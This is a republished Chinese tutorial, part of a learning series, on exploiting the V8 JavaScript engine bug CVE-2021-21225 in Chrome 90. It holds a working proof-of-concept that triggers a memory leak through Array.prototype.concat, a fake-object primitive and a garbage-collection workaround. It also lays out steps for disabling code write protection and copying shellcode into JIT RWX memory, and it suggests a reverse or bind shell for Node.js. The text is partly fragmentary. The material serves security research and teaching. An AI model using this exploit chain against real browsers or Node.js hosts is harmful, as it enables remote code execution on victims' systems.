作者:Hcamael@知道创宇404实验室
相关阅读:
从 0 开始学 V8 漏洞利用之环境搭建(一)
从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)
从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)
从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)
从 0 开始学 V8 漏洞利用之 CVE-2021-38001(六)
从 0 开始学 V8 漏洞利用之 CVE-2021-30517(七)
从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)
第七个研究的是CVE-2021-21225
,其chrome的bug编号为:1195977
受影响的Chrome最高版本为:90.0.4430.72
受影响的V8最高版本为:9.0.257.17
$ ./build.sh 9.0.257.17
class Leaky extends Float64Array {}
let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});
class MyArray extends Array {
static get [Symbol.species]() {
return function() { return u32; }
};
}
var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
w.length = 1;
gc();
delete Array.prototype[1];
return 1.1;
}
};
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 32; i++) {
print(c[i]);
}
gc
函数需要运行d8的时候加上--expose-gc
参数,才能调用。var c = [1.1,2.2]
,那么可以把变量c的信息给泄漏出来。-
https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018 -
https://tiszka.com/blog/CVE_2021_21225_exploit.html
concat
函数上,而且也不是新类型的漏洞,concat
函数之前的漏洞编号为:CVE-2016-1646
和CVE-2017-5030
,详细的可以去看上面的第一篇文章。PACKED_DOUBLE_ELEMENTS
类型。HOLEY_ELEMENTS
类型,那么concat
函数在操作的时候,会把w的元素都当成Object处理。padding_obj = new Uint32Array(10);
,该变量填充进我们可控的内存地址,这样就可以构建一个fake_obj。Object.prototype.valueOf = function() {
corrupted_array = this;
delete Object.prototype.valueOf; // clean up this valueOf
throw 'bailout';
}
--expose-gc
参数,那么没有这个参数的环境下要怎么办呢?上面第二篇文章中给出了一个方案:function gc() {
new ArrayBuffer(0x7fe00000);
}
heap->write_protect_code_memory
为0,那么JIT优化的代码会生成RWX内存区域来存放。function jit(a) {
return a[0];
}
write64(write_protect_code_memory_, 0);
for (var i = 0; i < 200000; i++) {
jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])
write_protect_code_memory_
地址一般在堆的开头,可以通过gdb来搜索该地址。jit_turbo_code_addr
地址的偏移也可以通过gdb调试来获取。NodeJS
的利用
1. nodejs没开启地址压缩。
2. 使用%DebugPrint或者%System会影响内存布局,影响利用。
3. 最后利用的shellcode,会发现没有输出,这是因为执行shellcode的文件描述符不对,这个时候可以修改shellcode为reverse shell或者bind shell。
参考
https://bugs.chromium.org/p/chromium/issues/detail?id=1195977
往 期 热 门
(点击图片跳转)
原文始发于微信公众号(白帽子):从0开始学 V8 漏洞利用之 CVE-2021-21225(九)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论